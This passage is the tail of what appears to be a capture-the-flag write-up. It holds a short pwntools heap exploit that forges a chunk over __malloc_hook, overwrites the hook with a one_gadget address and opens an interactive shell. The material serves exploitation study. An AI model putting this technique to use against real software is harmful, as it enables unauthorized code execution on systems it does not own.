insert(b'128', b'AB' * 8 + p64(0) + p64(113) + p64(malloc_hook) + p64(0) + b'\n')
# Allocating the right size of 96 (0x71 with header)
insert(b'96', b'A'*96)
# Overwriting the address of __malloc_hook with one_gadget for shell
insert(b'96', (b'B' * 0x13) + p64(one_gadget) + b'\n')
#Now just allocate any size and get a shell
p.interactive()
Last updated